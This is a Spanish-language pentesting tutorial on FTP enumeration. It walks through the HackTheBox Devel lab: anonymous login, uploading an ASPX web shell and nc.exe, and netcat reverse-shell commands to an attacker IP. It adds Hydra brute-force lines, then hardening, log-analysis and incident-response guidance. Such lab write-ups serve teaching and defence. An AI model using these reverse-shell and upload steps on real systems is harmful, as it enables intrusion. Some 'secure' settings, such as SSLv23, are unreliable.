Volver al inicio
</>

Enumeración FTP

Explotación de Acceso Anónimo y Técnicas de Penetración

¿Qué es la Enumeración FTP?

Definición: FTP (File Transfer Protocol) es un protocolo estándar de red utilizado para transferir archivos entre sistemas conectados. La enumeración FTP es el proceso sistemático de recopilación de información sobre un servidor FTP, incluyendo listados de directorios, identificación de usuarios, búsqueda de vulnerabilidades y análisis de configuraciones de seguridad.

El protocolo FTP opera típicamente en el puerto 21 y representa uno de los vectores de ataque más comunes en penetration testing debido a configuraciones inseguras frecuentes.

Vectores de Ataque FTP Comunes:

  • Acceso Anónimo: Login sin credenciales válidas
  • Credenciales Débiles: Usuarios con contraseñas predecibles
  • Misconfiguraciones: Permisos excesivos de escritura/lectura
  • Versiones Vulnerables: Software FTP desactualizado
  • Banner Grabbing: Revelación de información del sistema

Impacto de Seguridad: Un servidor FTP mal configurado puede permitir acceso no autorizado al sistema de archivos, subida de malware, exfiltración de datos y establecimiento de persistencia en el sistema comprometido.

Acceso Anónimo FTP

Acceso Anónimo: Es una configuración que permite a los usuarios conectarse a un servidor FTP sin proporcionar credenciales válidas. Utilizan el nombre de usuario "anonymous" y una contraseña vacía o email como contraseña.

Características del Acceso Anónimo:

  • Usuario: anonymous, ftp, guest
  • Contraseña: Vacía, email del usuario, o cualquier texto
  • Permisos típicos: Solo lectura (aunque puede variar)
  • Directorio base: /pub, /public, /anonymous

Comandos FTP Esenciales:

Comandos Básicos FTP
# Conexión al servidor ftp [IP_ADDRESS] # Comandos de navegación dir / ls # Listar archivos y directorios pwd # Mostrar directorio actual cd [directorio] # Cambiar directorio # Comandos de transferencia get [archivo] # Descargar archivo put [archivo] # Subir archivo mget *.txt # Descargar múltiples archivos # Comandos de configuración binary # Modo binario para archivos ejecutables ascii # Modo ASCII para archivos de texto passive # Modo pasivo (atravesar firewalls)

Caso Práctico: HTB Devel

Explotación de FTP Anónimo - HTB Devel (10.10.10.5)
Escenario del ataque:
  • Objetivo: Servidor Windows con IIS y FTP anónimo habilitado
  • Vector de ataque: FTP con permisos de escritura
  • Técnica: Web Shell + Reverse Shell via Netcat
  • Resultado esperado: Acceso completo al sistema Windows

Metodología de Explotación:

1
Reconocimiento y Escaneo
Identificación de servicios FTP y análisis de configuraciones
2
Acceso Anónimo FTP
Autenticación sin credenciales y exploración del sistema de archivos
3
Subida de Herramientas
Upload de Netcat y Web Shell ASPX al servidor
4
Ejecución de Reverse Shell
Activación del payload y obtención de acceso remoto

Fase 1: Reconocimiento con Nmap

Iniciamos con un escaneo completo para identificar servicios activos en el objetivo:

Escaneo Inicial de Puertos
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.5 -oG allPorts

Resultado: El escaneo revela que el puerto 21 (FTP) está abierto y accesible.

Escaneo Nmap de HTB Devel mostrando puertos FTP y HTTP
Reconocimiento: Escaneo Nmap de HTB Devel (10.10.10.5) revelando puertos críticos: 21 (FTP) y 80 (HTTP) abiertos para la explotación.

Enumeración Detallada del Servicio FTP:

Escaneo de Versión y Scripts
sudo nmap -sCV -p21 10.10.10.5 -oN targeted

Descubrimiento Crítico: El scan revela "Anonymous FTP login allowed" - confirmando que el servidor permite acceso sin autenticación.

Fase 2: Acceso FTP Anónimo

Procedemos a conectarnos al servidor FTP utilizando credenciales anónimas:

Conexión FTP Anónima
# Conexión inicial ftp 10.10.10.5 # Credenciales de acceso Name: anonymous Password: [Enter - sin contraseña] # Exploración del sistema ftp> dir ftp> pwd
Conexión FTP anónima exitosa en HTB Devel
Acceso FTP Anónimo: Conexión exitosa al servidor FTP usando credenciales anónimas, confirmando "Anonymous access allowed".

Descubrimiento de Permisos: El servidor no solo permite acceso de lectura, sino también permisos de escritura, lo que nos permite subir archivos maliciosos.

Fase 3: Preparación del Payload

Identificamos que el servidor ejecuta IIS (Internet Information Services), por lo que preparamos herramientas específicas para Windows:

Subida de Netcat
# Ubicación de Netcat en Kali Linux /usr/share/seclists/Web-Shells/FuzzDB/nc.exe # Subida via FTP ftp> put nc.exe
Subida de Web Shell ASPX
# Ubicación de Web Shell para IIS /usr/share/davtest/backdoors/aspx_cmd.aspx # Subida via FTP ftp> put aspx_cmd.aspx
Subida de archivos maliciosos via FTP
Subida de Payload: Transferencia exitosa de herramientas (netcat y web shell ASPX) al servidor FTP con permisos de escritura.

Fase 4: Activación de Web Shell

Los archivos subidos se sincronizan automáticamente con el directorio web de IIS:

Acceso a Web Shell
# URL de acceso a la Web Shell http://10.10.10.5/aspx_cmd.aspx # Directorio de archivos subidos en Windows C:\\inetpub\\wwwroot\\

Fase 5: Establecimiento de Reverse Shell

Configuramos un listener en nuestra máquina atacante y ejecutamos Netcat desde la Web Shell:

Listener en Máquina Atacante (10.10.14.16)
# Listener con Netcat nc -nlvp 443 # Listener con múltiples opciones de puerto nc -nlvp 4444 nc -nlvp 1234
Listener Netcat para reverse shell
Preparación Listener: Configuración de listener netcat en puerto 443 esperando la conexión de reverse shell desde el objetivo.
Comando de Reverse Shell
# Comando ejecutado desde Web Shell C:\inetpub\wwwroot\nc.exe -e cmd 10.10.14.16 443 # Alternativas de conexión nc.exe -e cmd.exe 10.10.14.16 4444 nc.exe -e powershell.exe 10.10.14.16 1234

Resultado Exitoso: Una vez ejecutado el comando, obtenemos una reverse shell completa con acceso al sistema Windows, permitiendo ejecución de comandos, navegación del sistema de archivos y potencial escalación de privilegios.

Herramientas de Enumeración FTP

Herramientas Automatizadas:

Herramientas Especializadas
# Nmap Scripts FTP nmap --script ftp-* 10.10.10.5 # FTP-Brute con Hydra hydra -l anonymous -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.5 # Metasploit FTP Scanner msfconsole -q -x "use auxiliary/scanner/ftp/anonymous; set RHOSTS 10.10.10.5; run" # FTP Client con scripting ncftp -u anonymous 10.10.10.5

Scripts Nmap para FTP:

Scripts de Enumeración
# Detección de acceso anónimo nmap --script ftp-anon 10.10.10.5 # Banner grabbing nmap --script ftp-banner 10.10.10.5 # Bounce attack detection nmap --script ftp-bounce 10.10.10.5 # Vulnerabilidades conocidas nmap --script ftp-vuln-* 10.10.10.5

Automatización con Python:

Script Python para FTP
#!/usr/bin/env python3 import ftplib def ftp_anonymous_check(host): try: ftp = ftplib.FTP(host) ftp.login('anonymous', '') print(f"[+] Anonymous access successful on {host}") ftp.dir() # List directory contents ftp.quit() return True except Exception as e: print(f"[-] Anonymous access failed: {e}") return False # Uso ftp_anonymous_check('10.10.10.5')

Medidas de Protección FTP

Configuraciones de Seguridad Esenciales:

  • Deshabilitar acceso anónimo: Requiere autenticación válida
  • Implementar FTPS/SFTP: Cifrado de conexiones y datos
  • Restricción de directorios: Chroot jail para usuarios FTP
  • Firewall y ACLs: Limitar acceso por IP origen
  • Monitoreo de logs: Detección de actividad sospechosa

Configuración Segura - vsftpd:

/etc/vsftpd.conf
# Deshabilitar acceso anónimo anonymous_enable=NO # Habilitar SSL/TLS ssl_enable=YES allow_anon_ssl=NO force_local_data_ssl=YES force_local_logins_ssl=YES # Configuraciones de seguridad chroot_local_user=YES allow_writeable_chroot=YES seccomp_sandbox=NO # Restringir comandos peligrosos deny_email_enable=YES banned_email_file=/etc/vsftpd.banned_emails

Configuración Segura - ProFTPD:

/etc/proftpd/proftpd.conf
# Configuración básica de seguridad ServerName "Secure FTP Server" ServerType standalone DefaultServer on # Deshabilitar acceso anónimo User ftp Group nogroup UserAlias anonymous ftp DenyAll # Configuración SSL/TLS LoadModule mod_tls.c TLSEngine on TLSLog /var/log/proftpd/tls.log TLSProtocol SSLv23

Detección y Forense

Indicadores de Compromiso:

  • Conexiones anónimas inusuales: Picos de actividad FTP
  • Archivos sospechosos: Executables o scripts en directorios web
  • Transferencias de archivos: Upload/download de archivos no autorizados
  • Conexiones salientes: Reverse shells o conexiones no autorizadas

Análisis de Logs FTP:

Comandos de Análisis
# Revisar logs de vsftpd tail -f /var/log/vsftpd.log # Filtrar accesos anónimos grep "anonymous" /var/log/vsftpd.log # Buscar transferencias de archivos grep -E "(STOR|RETR)" /var/log/vsftpd.log # Identificar IPs sospechosas awk '{print $7}' /var/log/vsftpd.log | sort | uniq -c | sort -nr

Respuesta a Incidentes:

Acciones Inmediatas
# Deshabilitar servicio FTP systemctl stop vsftpd systemctl disable vsftpd # Bloquear IP atacante iptables -A INPUT -s 10.10.14.16 -j DROP # Revisar archivos comprometidos find /var/ftp -type f -newer /tmp/timestamp find /var/www -name "*.asp*" -o -name "*.php" | xargs ls -la

Consideraciones Éticas y Legales

Advertencia Legal: Las técnicas de enumeración FTP solo deben utilizarse en:

  • Sistemas propios o con autorización explícita por escrito
  • Entornos de pentesting con contratos legales válidos
  • Plataformas de práctica autorizadas (HTB, TryHackMe, VulnHub)
  • Laboratorios controlados de ciberseguridad

El acceso no autorizado a servidores FTP constituye un delito grave de intrusión informática según las legislaciones locales e internacionales.

Uso Responsable: Los profesionales de ciberseguridad deben utilizar estas técnicas únicamente para identificar y mitigar vulnerabilidades en sistemas autorizados, nunca para actividades maliciosas o no autorizadas.